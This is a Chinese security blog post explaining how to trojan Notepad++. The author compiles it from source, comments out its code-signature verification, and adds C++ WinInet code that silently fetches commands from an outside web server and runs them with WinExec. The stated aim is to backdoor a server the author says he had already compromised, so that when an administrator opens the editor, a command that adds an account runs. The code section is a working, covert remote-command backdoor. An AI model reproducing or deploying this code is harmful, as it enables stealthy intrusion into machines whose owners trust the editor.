技术分享
手动打造自己的后门第一季
2019-01-29 10:21

0x01 前言

看了Micropoor大牛分享的一系列教程,受益良多。PS:下文将Micropoor写做Mp

笔者对其中几篇谈及后门的文章颇有兴趣,作者在他的文章中给出了一些大体思路但未谈及实现细节,于是笔者按照文中提供的思路动手实践了一下。

0x02 改造 Notepad之旅

这里引用一个概念:

人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播

要做到高度化定制,足够贴合实际目标,我们可能会需要它。

正好之前秒了一台独立服务器,登陆进去发现服务器主人预先安装了Notepad++,这简直是最佳实践…服务器有了,缺个后门,不多说我们自己来动手:根据Mp的文章我们去官方git仓库下载其开源的源代码本地编译。

仓库地址:https://github.com/notepad-plus-plus/notepad-plus-plus

完整目录如下:

微信图片_20190129132803.png

其中PowerEditor是Notepad++的项目文件,scintilla是Notepad++引用的代码编辑库。

我们编译的顺序是先使用VS2017CMD编译scintilla项目,得到SciLexer.dll文件,将其复制到PowerEditor项目内作为动态链接库,再用VS2017编译PowerEditor这个项目。

微信图片_20190129132948.png

微信图片_20190129133353.png

另外如果不想动手编译,可以直接在安装好的Notepad++ 根目录找到此dll文件。这里指出几个编译时掉入的坑:

Mp 在他的文章中用的 VS2017 编译,却说要打开notepadPlus.vs2013.vcxproj 这个项目文件。

我猜测这可能是笔误,实际上打开这个项目文件编译会遇到符号问题。对此我专门用半自创英语去官方git 仓库提了issue,大家遇到问题也可以去各种官方库下面提问,一般都会有热心的开源社区人员进行解答


微信图片_20190129133529.png

微信图片_20190129133802.jpg

微信图片_20190129133808.png

微信图片_20190129133816.png

有时候编译完成会报错,弹框提示签名证书会验证失败,我在这里将报错处理的语句统统注释掉了。

如果遇到下面这种报错:

微信图片_20190129133928.jpg

微信图片_20190129133933.jpg

解决办法:

这是因为他验证文件数字签名出问题了,也许是我们自己编译的dll文件存在问题。具体我们可以找到Common.cpp,在此文件内搜索isCertificateValidated定位到验证函数:

微信图片_20190129134032.jpg

简单看了下它的处理异常的代码,写的很详细,有很多种错误类型。不同编译环境可能产生不同的错误,在此我给出一种通用的解决办法:搜索它的报错关键字,哪里报错注释哪里,简单有效。定位到catch内部就尝试注释掉它内部的验证逻辑:

微信图片_20190129134118.png

Authenticodecheck failed 错误解决:

微信图片_20190129134206.png

DLLsignature verification failed 错误解决:

微信图片_20190129134259.png

顺利通过编译后,就可以考虑添加后门功能了。我开始思考下面的问题:

一个后门之所以称之为后门,必然是有里应外合的功能的,而在C++Win32编程中,基础库执行系统命令使用system()函数可以完成命令,但是会弹出黑色命令窗口。为了隐蔽性,在查阅了官方文档后,找到了WinExec(),使用这个函数来执行系统命令则不会弹黑色命令窗口。

system("calc");//这种方法会弹出黑框,WinExec("指令",SW_NORMAL); //这种方法不会弹黑色命令窗口。接下来仔细想想,弹个计算器也没啥用,直接增加账户又太明显,于是我又去参考网络通信基础模块,扩展指定接收指令执行的功能。这里用了WinInetAPI 实现HTTP 通信,相比于libcurl等第三方库使用起来更方便快捷。下面给出实例代码以及相关头文件引用:

#include<iostream>  

#include<cstdio>  

#include<wininet.h>

#pragmacomment(lib,"WinInet.lib")

#definePORT 0x50   // 端口号80

#defineURL "www.recorday.cn" // 绝对域名

#definePAGE "/test/order.txt"//相对指令地址

char_HTTP_ARAC[] =

"Accept-Language:zh-cn\r\n"\

"Content-Type:application/x-www-form-urlencoded\r\n\r\n";

char_HTTP_File[1024] = { 0 };


HINTERNETInte = InternetOpenA("Mozilla/4.0 (compatible; MSIE 9.0; WindowsNT 6.1)", 1, "", "", 0);

//初始化Wininet并创建一个HTTP连接

if(0 == Inte) {

//cout<< "error InternetOpen" << endl;

MessageBoxA(0,"error InternetOpen1", "error", 16);

}

HINTERNETConnect = InternetConnectA(Inte, URL, 80, "", "",INTERNET_SERVICE_HTTP, 0, 0);    //请求与网站连接

if(0 == Connect) {

InternetCloseHandle(Inte);

InternetCloseHandle(Connect);

MessageBoxA(0,"error InternetOpen2", "error", 16);

}

HINTERNETHttpOpen = HttpOpenRequestA(Connect, "GET", PAGE,"HTTP/1.1", NULL, NULL, 1, 0);

//向网站服务器发送请求页面

if(0 == HttpOpen) {

InternetCloseHandle(Inte);

InternetCloseHandle(Connect);

InternetCloseHandle(HttpOpen);

MessageBoxA(0,"error HttpOpenRequest3", "error", 16);

}


boolbo = HttpSendRequestA(HttpOpen, NULL, 0, NULL, 0); //向网站服务器发送请求HTTP协议和POST请求数据

if(bo == false) {

InternetCloseHandle(Inte);

InternetCloseHandle(Connect);

InternetCloseHandle(HttpOpen);

MessageBoxA(0,"error HttpOpenRequest4", "error", 16);

}

DWORDy = 0;

if(!InternetReadFile(HttpOpen, _HTTP_File, 1024, &y)) {   //获取HTTP响应消息

InternetCloseHandle(Inte);

InternetCloseHandle(Connect);

InternetCloseHandle(HttpOpen);

MessageBoxA(0,"error InternetReadFile5", "error", 16);

}

else{

MessageBoxA(0,_HTTP_File, "ok", 0);//打印得到的响应消息

WinExec(_HTTP_File,SW_NORMAL); //执行获取的指令

}

代码中间为了方便调试写了不少弹框,实战中为了避免不必要的麻烦,请务必去掉。

最终效果

获取指定URL下的添加账户命令,并且静默执行(请无视个人主机的360防护)。

微信图片_20190129134708.png

上图为测试的动态图片。

假想触发链:管理员在服务器上打开Notepad++, 则会触发后门,获取我们事先放到VPS的命令。

QQ截图20190129134814.jpg

0x03 写在最后

本文章纯属对MP大牛提出的一些想法进行了个人踩坑实践,相比于其他后门还是相形见绌,如有错误请大家及时指出。另外,维持权限不要局限于一种工具,或者一类方法。当我们的目标处于不同平台不同环境时,我们会束手无策还是拿出花一样的思路呢?我认为后者才是真本事。希望大家多多和我交流!





本文仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。本文为原创文章,转载请注明出处!

上一篇:犀牛(RhinOS)CMS3.X任意文件下载漏洞(CVE-2018-18760)
下一篇:OWASP Top 10 2017 十项最严重的 Web 应用程序安全风险(一)
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731